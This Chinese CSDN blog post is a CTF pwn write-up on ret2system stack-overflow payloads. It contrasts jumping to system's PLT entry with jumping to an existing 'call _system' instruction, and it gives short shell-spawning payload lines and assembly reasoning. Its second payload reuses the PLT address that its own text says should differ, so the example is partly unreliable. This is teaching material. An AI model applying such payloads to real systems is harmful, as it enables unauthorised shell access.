【PWN · 总结】call _system与system调用

文章探讨了在栈溢出漏洞利用中,使用call_system与直接调用system的plt地址的区别。call_system可以节省栈空间,因为返回地址的push操作在调用后发生,而直接调用system需要在payload中包含返回地址和参数。文章提供了构造payload的例子,并指导如何通过交叉引用找到相关代码段进行分析。
摘要由CSDN通过智能技术生成

call _system 相比于直调system,可以节省栈空间哦~


前言

栈溢出漏洞但是限制溢出字符数,倒逼我们减少溢出内容。

习题:NSSCTF | 在线CTF平台


构造payload的时候有两种方式构造
第一种,溢出后的返回地址是system的地址,也就是plt表中system的地址

system_addr = 0x08048320
binsh_addr = 0x0804a024
payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(0)  + p32(binsh_addr)

第二种,溢出后的返回地址是call system的地址,这是程序中出现过的调用system的地址

system_addr = 0x08048320
binsh_addr = 0x0804a024
payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(binsh_addr)

为什么调用system的plt地址时,要比调用call system的调用地址时多构造四个字节?

首先,我们想要程序执行的是

system('/bin/sh');

合法的程序在编译这一步时,实际上执行的是

lea eax, [address_binsh_str]
push eax
call system

进一步对call指令进行分解,执行call指令相当于

push ip					;执行system_addr之后的返回地址
jmp system_addr

因此,直接调用system函数时,在system地址后面要接上一个返回地址,再接上system函数的参数

而如果调用的是call system的话,返回到call system之后,才会执行push ip的操作,这个时候的push操作不需要我们关心,因此payload直接就是call_system_addr + binsh_addr
————————————————
版权声明:本文为CSDN博主「Morphy_Amo」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Morphy_Amo/article/details/121757953


 利用方法

左侧找到相关函数,双击。 

选中一行 _system  按x键,即交叉引用,找到程序中用到_system的其他位置

即可找到相关代码段

评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值